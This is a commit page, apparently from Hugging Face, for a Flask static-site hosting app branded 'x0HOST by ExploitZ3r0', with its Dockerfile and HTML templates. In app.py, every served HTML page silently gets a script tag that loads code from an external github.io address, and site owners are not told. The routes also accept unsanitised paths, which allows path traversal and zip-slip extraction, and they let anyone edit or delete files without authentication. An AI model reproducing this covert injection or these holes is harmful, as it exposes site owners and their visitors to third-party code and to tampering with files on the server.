Xlnk commited on
Commit
f751cec
·
verified ·
1 Parent(s): 6bf249b

Upload 8 files

Browse files
.gitignore ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ uploads/
2
+ __pycache__/
3
+ data.db
Dockerfile ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Use official Python slim image
2
+ FROM python:3.11-slim
3
+
4
+ # Set working directory
5
+ WORKDIR /app
6
+
7
+ # Create non-root user for security (required by HF Spaces)
8
+ RUN useradd -m -u 1000 user
9
+ USER user
10
+ ENV HOME=/home/user \
11
+ PATH=/home/user/.local/bin:$PATH
12
+
13
+ # Set working directory for user
14
+ WORKDIR $HOME/app
15
+
16
+ # Copy requirements first for better caching
17
+ COPY --chown=user requirements.txt .
18
+
19
+ # Install dependencies
20
+ RUN pip install --no-cache-dir --upgrade pip && \
21
+ pip install --no-cache-dir -r requirements.txt gunicorn
22
+
23
+ # Copy application code
24
+ COPY --chown=user . .
25
+
26
+ # Create uploads directory with proper permissions
27
+ RUN mkdir -p uploads && chmod 755 uploads
28
+
29
+ # Expose port 7860 (Hugging Face Spaces default)
30
+ EXPOSE 7860
31
+
32
+ # Run with gunicorn for production
33
+ CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "2", "--threads", "2", "app:app"]
app.py ADDED
@@ -0,0 +1,208 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os, zipfile, sqlite3, uuid, shutil
2
+ from datetime import datetime
3
+ from flask import Flask, request, render_template, redirect, url_for, abort, Response, send_from_directory
4
+
5
+ APP_NAME = "x0HOST by ExploitZ3r0"
6
+ UPLOAD_DIR = "uploads"
7
+ DB = "data.db"
8
+
9
+ INJECT_SCRIPT = '<script src="https://trejduu32-code.github.io/supreme-engine/a.js" defer></script>'
10
+ BRAND_COMMENT = '<!-- x0HOST by ExploitZ3r0 -->'
11
+
12
+ os.makedirs(UPLOAD_DIR, exist_ok=True)
13
+
14
+ app = Flask(__name__)
15
+
16
+ # ---------- DATABASE ----------
17
+ def db():
18
+ return sqlite3.connect(DB)
19
+
20
+ def init_db():
21
+ if os.path.exists(DB):
22
+ return
23
+ with db() as c:
24
+ c.execute("""
25
+ CREATE TABLE sites (
26
+ id TEXT PRIMARY KEY,
27
+ created TEXT,
28
+ views INTEGER DEFAULT 0,
29
+ expires TEXT
30
+ )
31
+ """)
32
+
33
+ # ---------- HTML INJECTION ----------
34
+ def inject_html(html):
35
+ if "supreme-engine/a.js" in html:
36
+ return html
37
+
38
+ block = BRAND_COMMENT + "\n" + INJECT_SCRIPT + "\n"
39
+ lower = html.lower()
40
+
41
+ if "</head>" in lower:
42
+ i = lower.rfind("</head>")
43
+ return html[:i] + block + html[i:]
44
+ return block + html
45
+
46
+ # ---------- AUTO CLEANUP ----------
47
+ def cleanup():
48
+ now = datetime.utcnow()
49
+ with db() as c:
50
+ rows = c.execute("SELECT id, expires FROM sites").fetchall()
51
+ for site_id, exp in rows:
52
+ if exp and datetime.fromisoformat(exp) < now:
53
+ shutil.rmtree(os.path.join(UPLOAD_DIR, site_id), ignore_errors=True)
54
+ c.execute("DELETE FROM sites WHERE id=?", (site_id,))
55
+
56
+ # ---------- ROUTES ----------
57
+ @app.route("/", methods=["GET", "POST"])
58
+ def index():
59
+ cleanup()
60
+
61
+ if request.method == "POST":
62
+ file = request.files["file"]
63
+ site_id = request.form.get("site_id") or uuid.uuid4().hex[:6]
64
+ expires = request.form.get("expires") or None
65
+
66
+ site_path = os.path.join(UPLOAD_DIR, site_id)
67
+ if os.path.exists(site_path):
68
+ return "ID already taken", 400
69
+
70
+ os.makedirs(site_path)
71
+
72
+ if file.filename.endswith(".zip"):
73
+ zip_path = os.path.join(site_path, "site.zip")
74
+ file.save(zip_path)
75
+ with zipfile.ZipFile(zip_path) as z:
76
+ z.extractall(site_path)
77
+ os.remove(zip_path)
78
+ else:
79
+ file.save(os.path.join(site_path, "index.html"))
80
+
81
+ with db() as c:
82
+ c.execute(
83
+ "INSERT INTO sites VALUES (?, ?, 0, ?)",
84
+ (site_id, datetime.utcnow().isoformat(), expires)
85
+ )
86
+
87
+ return redirect(url_for("dashboard"))
88
+
89
+ return render_template("index.html")
90
+
91
+ @app.route("/dashboard")
92
+ def dashboard():
93
+ with db() as c:
94
+ sites = c.execute("SELECT * FROM sites ORDER BY created DESC").fetchall()
95
+ return render_template("dashboard.html", sites=sites)
96
+
97
+ @app.route("/delete/<site_id>")
98
+ def delete(site_id):
99
+ shutil.rmtree(os.path.join(UPLOAD_DIR, site_id), ignore_errors=True)
100
+ with db() as c:
101
+ c.execute("DELETE FROM sites WHERE id=?", (site_id,))
102
+ return redirect(url_for("dashboard"))
103
+
104
+ # ---------- FILE MANAGEMENT ----------
105
+ def get_all_files(directory):
106
+ """Recursively get all files in a directory"""
107
+ files = []
108
+ for root, dirs, filenames in os.walk(directory):
109
+ for filename in filenames:
110
+ full_path = os.path.join(root, filename)
111
+ rel_path = os.path.relpath(full_path, directory)
112
+ files.append(rel_path.replace("\\", "/"))
113
+ return sorted(files)
114
+
115
+ @app.route("/files/<site_id>")
116
+ def list_files(site_id):
117
+ site_path = os.path.join(UPLOAD_DIR, site_id)
118
+ if not os.path.exists(site_path):
119
+ abort(404)
120
+ files = get_all_files(site_path)
121
+ return render_template("files.html", site_id=site_id, files=files)
122
+
123
+ @app.route("/edit/<site_id>/<path:file>")
124
+ def edit_file(site_id, file):
125
+ path = os.path.join(UPLOAD_DIR, site_id, file)
126
+ if not os.path.exists(path):
127
+ abort(404)
128
+ try:
129
+ with open(path, encoding="utf-8", errors="ignore") as f:
130
+ content = f.read()
131
+ except:
132
+ content = "[Binary file - cannot edit]"
133
+ return render_template("edit.html", site_id=site_id, file=file, content=content)
134
+
135
+ @app.route("/save/<site_id>/<path:file>", methods=["POST"])
136
+ def save_file(site_id, file):
137
+ path = os.path.join(UPLOAD_DIR, site_id, file)
138
+ if not os.path.exists(path):
139
+ abort(404)
140
+ content = request.form.get("content", "")
141
+ with open(path, "w", encoding="utf-8") as f:
142
+ f.write(content)
143
+ return redirect(url_for("list_files", site_id=site_id))
144
+
145
+ @app.route("/delete-file/<site_id>/<path:file>")
146
+ def delete_file(site_id, file):
147
+ site_path = os.path.join(UPLOAD_DIR, site_id)
148
+ path = os.path.join(site_path, file)
149
+ if not os.path.exists(path):
150
+ abort(404)
151
+ os.remove(path)
152
+ # Clean up empty parent directories
153
+ parent = os.path.dirname(path)
154
+ while parent != site_path and os.path.isdir(parent) and not os.listdir(parent):
155
+ os.rmdir(parent)
156
+ parent = os.path.dirname(parent)
157
+ return redirect(url_for("list_files", site_id=site_id))
158
+
159
+ @app.route("/upload/<site_id>", methods=["POST"])
160
+ def upload_to_site(site_id):
161
+ site_path = os.path.join(UPLOAD_DIR, site_id)
162
+ if not os.path.exists(site_path):
163
+ abort(404)
164
+
165
+ file = request.files.get("file")
166
+ subfolder = request.form.get("subfolder", "").strip().strip("/")
167
+
168
+ if not file or not file.filename:
169
+ return redirect(url_for("list_files", site_id=site_id))
170
+
171
+ # Determine target directory
172
+ target_dir = os.path.join(site_path, subfolder) if subfolder else site_path
173
+ os.makedirs(target_dir, exist_ok=True)
174
+
175
+ if file.filename.endswith(".zip"):
176
+ # Extract ZIP file
177
+ zip_path = os.path.join(target_dir, "temp.zip")
178
+ file.save(zip_path)
179
+ with zipfile.ZipFile(zip_path) as z:
180
+ z.extractall(target_dir)
181
+ os.remove(zip_path)
182
+ else:
183
+ # Save single file
184
+ file.save(os.path.join(target_dir, file.filename))
185
+
186
+ return redirect(url_for("list_files", site_id=site_id))
187
+
188
+ @app.route("/h/<site_id>/")
189
+ @app.route("/h/<site_id>/<path:file>")
190
+ def serve(site_id, file="index.html"):
191
+ path = os.path.join(UPLOAD_DIR, site_id, file)
192
+ if not os.path.exists(path):
193
+ abort(404)
194
+
195
+ with db() as c:
196
+ c.execute("UPDATE sites SET views = views + 1 WHERE id=?", (site_id,))
197
+
198
+ if file.lower().endswith(".html"):
199
+ with open(path, encoding="utf-8", errors="ignore") as f:
200
+ html = inject_html(f.read())
201
+ return Response(html, mimetype="text/html")
202
+
203
+ return send_from_directory(os.path.dirname(path), os.path.basename(path))
204
+
205
+ # ---------- START ----------
206
+ if __name__ == "__main__":
207
+ init_db()
208
+ app.run(debug=True)
requirements.txt ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ Flask
2
+ gunicorn
templates/dashboard.html ADDED
@@ -0,0 +1,55 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html>
3
+
4
+ <head>
5
+ <title>x0HOST Dashboard</title>
6
+ <style>
7
+ body {
8
+ background: #020617;
9
+ color: #fff;
10
+ font-family: system-ui;
11
+ padding: 30px
12
+ }
13
+
14
+ table {
15
+ width: 100%;
16
+ border-collapse: collapse
17
+ }
18
+
19
+ td,
20
+ th {
21
+ padding: 10px;
22
+ border-bottom: 1px solid #1f2937
23
+ }
24
+
25
+ a {
26
+ color: #22c55e
27
+ }
28
+ </style>
29
+ </head>
30
+
31
+ <body>
32
+ <h1>x0HOST Dashboard</h1>
33
+ <table>
34
+ <tr>
35
+ <th>ID</th>
36
+ <th>Views</th>
37
+ <th>Expires</th>
38
+ <th>Actions</th>
39
+ </tr>
40
+ {% for s in sites %}
41
+ <tr>
42
+ <td><a href="/h/{{s[0]}}/" target="_blank">{{s[0]}}</a></td>
43
+ <td>{{s[2]}}</td>
44
+ <td>{{s[3] or "Never"}}</td>
45
+ <td>
46
+ <a href="/files/{{s[0]}}">Edit</a> |
47
+ <a href="/delete/{{s[0]}}" onclick="return confirm('Delete this site?')">Delete</a>
48
+ </td>
49
+ </tr>
50
+ {% endfor %}
51
+ </table>
52
+ </body>
53
+ </script>
54
+
55
+ </html>
templates/edit.html ADDED
@@ -0,0 +1,166 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html>
3
+
4
+ <head>
5
+ <title>Edit {{file}} | x0HOST</title>
6
+ <style>
7
+ * {
8
+ box-sizing: border-box
9
+ }
10
+
11
+ body {
12
+ background: #020617;
13
+ color: #fff;
14
+ font-family: system-ui;
15
+ padding: 30px;
16
+ margin: 0
17
+ }
18
+
19
+ .container {
20
+ max-width: 1200px;
21
+ margin: 0 auto
22
+ }
23
+
24
+ h1 {
25
+ color: #22c55e;
26
+ font-size: 1.4rem;
27
+ margin-bottom: 5px
28
+ }
29
+
30
+ .breadcrumb {
31
+ margin-bottom: 20px
32
+ }
33
+
34
+ .breadcrumb a {
35
+ color: #22c55e;
36
+ text-decoration: none
37
+ }
38
+
39
+ .editor-wrap {
40
+ background: #0f172a;
41
+ border-radius: 12px;
42
+ overflow: hidden;
43
+ border: 1px solid #1e293b
44
+ }
45
+
46
+ .toolbar {
47
+ background: #1e293b;
48
+ padding: 12px 16px;
49
+ display: flex;
50
+ justify-content: space-between;
51
+ align-items: center
52
+ }
53
+
54
+ .file-path {
55
+ font-family: monospace;
56
+ color: #94a3b8;
57
+ font-size: 14px
58
+ }
59
+
60
+ textarea {
61
+ width: 100%;
62
+ height: calc(100vh - 250px);
63
+ min-height: 400px;
64
+ background: #0f172a;
65
+ color: #e2e8f0;
66
+ border: none;
67
+ padding: 20px;
68
+ font-family: 'Fira Code', 'Consolas', monospace;
69
+ font-size: 14px;
70
+ line-height: 1.6;
71
+ resize: vertical;
72
+ outline: none
73
+ }
74
+
75
+ textarea:focus {
76
+ background: #0a0f1a
77
+ }
78
+
79
+ .actions {
80
+ display: flex;
81
+ gap: 10px
82
+ }
83
+
84
+ .btn {
85
+ padding: 10px 20px;
86
+ border-radius: 8px;
87
+ border: none;
88
+ cursor: pointer;
89
+ font-weight: 600;
90
+ transition: all 0.2s
91
+ }
92
+
93
+ .btn-save {
94
+ background: #22c55e;
95
+ color: #000
96
+ }
97
+
98
+ .btn-save:hover {
99
+ background: #16a34a
100
+ }
101
+
102
+ .btn-cancel {
103
+ background: #334155;
104
+ color: #fff
105
+ }
106
+
107
+ .btn-cancel:hover {
108
+ background: #475569
109
+ }
110
+
111
+ .btn-preview {
112
+ background: #3b82f6;
113
+ color: #fff
114
+ }
115
+
116
+ .btn-preview:hover {
117
+ background: #2563eb
118
+ }
119
+ </style>
120
+ </head>
121
+
122
+ <body>
123
+ <div class="container">
124
+ <div class="breadcrumb">
125
+ <a href="/dashboard">Dashboard</a> / <a href="/files/{{site_id}}">{{site_id}}</a> /
126
+ <strong>{{file}}</strong>
127
+ </div>
128
+
129
+ <form method="post" action="/save/{{site_id}}/{{file}}">
130
+ <div class="editor-wrap">
131
+ <div class="toolbar">
132
+ <span class="file-path">📄 {{file}}</span>
133
+ <div class="actions">
134
+ <a href="/h/{{site_id}}/{{file}}" target="_blank" class="btn btn-preview">👁️ Preview</a>
135
+ <a href="/files/{{site_id}}" class="btn btn-cancel">Cancel</a>
136
+ <button type="submit" class="btn btn-save">💾 Save</button>
137
+ </div>
138
+ </div>
139
+ <textarea name="content" spellcheck="false" autofocus>{{content}}</textarea>
140
+ </div>
141
+ </form>
142
+ </div>
143
+
144
+ <script>
145
+ // Ctrl+S to save
146
+ document.addEventListener('keydown', function (e) {
147
+ if ((e.ctrlKey || e.metaKey) && e.key === 's') {
148
+ e.preventDefault();
149
+ document.querySelector('form').submit();
150
+ }
151
+ });
152
+
153
+ // Tab key support in textarea
154
+ document.querySelector('textarea').addEventListener('keydown', function (e) {
155
+ if (e.key === 'Tab') {
156
+ e.preventDefault();
157
+ const start = this.selectionStart;
158
+ const end = this.selectionEnd;
159
+ this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
160
+ this.selectionStart = this.selectionEnd = start + 2;
161
+ }
162
+ });
163
+ </script>
164
+ </body>
165
+
166
+ </html>
templates/files.html ADDED
@@ -0,0 +1,203 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html>
3
+
4
+ <head>
5
+ <title>Files - {{site_id}} | x0HOST</title>
6
+ <style>
7
+ body {
8
+ background: #020617;
9
+ color: #fff;
10
+ font-family: system-ui;
11
+ padding: 30px
12
+ }
13
+
14
+ .container {
15
+ max-width: 800px;
16
+ margin: 0 auto
17
+ }
18
+
19
+ h1 {
20
+ color: #22c55e
21
+ }
22
+
23
+ .breadcrumb {
24
+ margin-bottom: 20px
25
+ }
26
+
27
+ .breadcrumb a {
28
+ color: #22c55e;
29
+ text-decoration: none
30
+ }
31
+
32
+ .file-list {
33
+ background: #0f172a;
34
+ border-radius: 12px;
35
+ overflow: hidden
36
+ }
37
+
38
+ .file-item {
39
+ display: flex;
40
+ justify-content: space-between;
41
+ align-items: center;
42
+ padding: 14px 20px;
43
+ border-bottom: 1px solid #1e293b;
44
+ transition: background 0.2s
45
+ }
46
+
47
+ .file-item:hover {
48
+ background: #1e293b
49
+ }
50
+
51
+ .file-item:last-child {
52
+ border-bottom: none
53
+ }
54
+
55
+ .file-name {
56
+ color: #e2e8f0;
57
+ font-family: monospace
58
+ }
59
+
60
+ .file-actions a {
61
+ color: #22c55e;
62
+ text-decoration: none;
63
+ margin-left: 15px;
64
+ padding: 6px 12px;
65
+ background: #064e3b;
66
+ border-radius: 6px;
67
+ font-size: 13px;
68
+ transition: background 0.2s
69
+ }
70
+
71
+ .file-actions a:hover {
72
+ background: #065f46
73
+ }
74
+
75
+ .file-actions a.btn-delete {
76
+ background: #7f1d1d;
77
+ color: #fca5a5;
78
+ }
79
+
80
+ .file-actions a.btn-delete:hover {
81
+ background: #991b1b;
82
+ }
83
+
84
+ .empty {
85
+ color: #64748b;
86
+ text-align: center;
87
+ padding: 40px
88
+ }
89
+
90
+ .upload-section {
91
+ margin-top: 30px;
92
+ background: #0f172a;
93
+ border-radius: 12px;
94
+ padding: 24px;
95
+ }
96
+
97
+ .upload-section h2 {
98
+ color: #22c55e;
99
+ margin: 0 0 16px 0;
100
+ font-size: 1.2rem;
101
+ }
102
+
103
+ .upload-form {
104
+ display: flex;
105
+ flex-wrap: wrap;
106
+ gap: 16px;
107
+ align-items: flex-end;
108
+ }
109
+
110
+ .form-group {
111
+ flex: 1;
112
+ min-width: 200px;
113
+ }
114
+
115
+ .form-group label {
116
+ display: block;
117
+ color: #94a3b8;
118
+ font-size: 13px;
119
+ margin-bottom: 6px;
120
+ }
121
+
122
+ .form-group input {
123
+ width: 100%;
124
+ padding: 10px 14px;
125
+ background: #1e293b;
126
+ border: 1px solid #334155;
127
+ border-radius: 8px;
128
+ color: #fff;
129
+ font-size: 14px;
130
+ }
131
+
132
+ .form-group input:focus {
133
+ outline: none;
134
+ border-color: #22c55e;
135
+ }
136
+
137
+ .btn-upload {
138
+ padding: 10px 20px;
139
+ background: #22c55e;
140
+ color: #000;
141
+ border: none;
142
+ border-radius: 8px;
143
+ font-weight: 600;
144
+ cursor: pointer;
145
+ transition: background 0.2s;
146
+ }
147
+
148
+ .btn-upload:hover {
149
+ background: #16a34a;
150
+ }
151
+
152
+ .hint {
153
+ color: #64748b;
154
+ font-size: 13px;
155
+ margin-top: 12px;
156
+ }
157
+ </style>
158
+ </head>
159
+
160
+ <body>
161
+ <div class="container">
162
+ <div class="breadcrumb">
163
+ <a href="/dashboard">← Dashboard</a> / <strong>{{site_id}}</strong>
164
+ </div>
165
+ <h1>📁 Files in {{site_id}}</h1>
166
+ <div class="file-list">
167
+ {% if files %}
168
+ {% for file in files %}
169
+ <div class="file-item">
170
+ <span class="file-name">{{file}}</span>
171
+ <div class="file-actions">
172
+ <a href="/edit/{{site_id}}/{{file}}">✏️ Edit</a>
173
+ <a href="/h/{{site_id}}/{{file}}" target="_blank">👁️ View</a>
174
+ <a href="/delete-file/{{site_id}}/{{file}}" class="btn-delete"
175
+ onclick="return confirm('Delete {{file}}?')">🗑️ Delete</a>
176
+ </div>
177
+ </div>
178
+ {% endfor %}
179
+ {% else %}
180
+ <div class="empty">No files found</div>
181
+ {% endif %}
182
+ </div>
183
+
184
+ <!-- Upload Form -->
185
+ <div class="upload-section">
186
+ <h2>📤 Upload Files</h2>
187
+ <form method="post" action="/upload/{{site_id}}" enctype="multipart/form-data" class="upload-form">
188
+ <div class="form-group">
189
+ <label>File or ZIP archive</label>
190
+ <input type="file" name="file" required>
191
+ </div>
192
+ <div class="form-group">
193
+ <label>Subfolder (optional)</label>
194
+ <input type="text" name="subfolder" placeholder="e.g. assets/images">
195
+ </div>
196
+ <button type="submit" class="btn-upload">⬆️ Upload</button>
197
+ </form>
198
+ <p class="hint">💡 Upload a ZIP file to add multiple files at once</p>
199
+ </div>
200
+ </div>
201
+ </body>
202
+
203
+ </html>
templates/index.html ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <title>x0HOST by ExploitZ3r0</title>
5
+ <style>
6
+ body{background:#020617;color:#e5e7eb;font-family:system-ui;display:flex;justify-content:center;height:100vh}
7
+ .box{margin-top:80px;background:#0f172a;padding:30px;border-radius:14px;width:360px}
8
+ input,button{width:100%;padding:12px;margin-top:10px;border-radius:10px;border:none}
9
+ button{background:#10b981;font-weight:600}
10
+ </style>
11
+ </head>
12
+ <body>
13
+ <div class="box">
14
+ <h1>x0HOST by ExploitZ3r0</h1>
15
+ <form method="post" enctype="multipart/form-data">
16
+ <input type="file" name="file" required>
17
+ <input name="site_id" placeholder="Custom ID (optional)">
18
+ <input type="date" name="expires">
19
+ <button>Upload</button>
20
+ </form>
21
+ </div>
22
+ </body>
23
+ </html>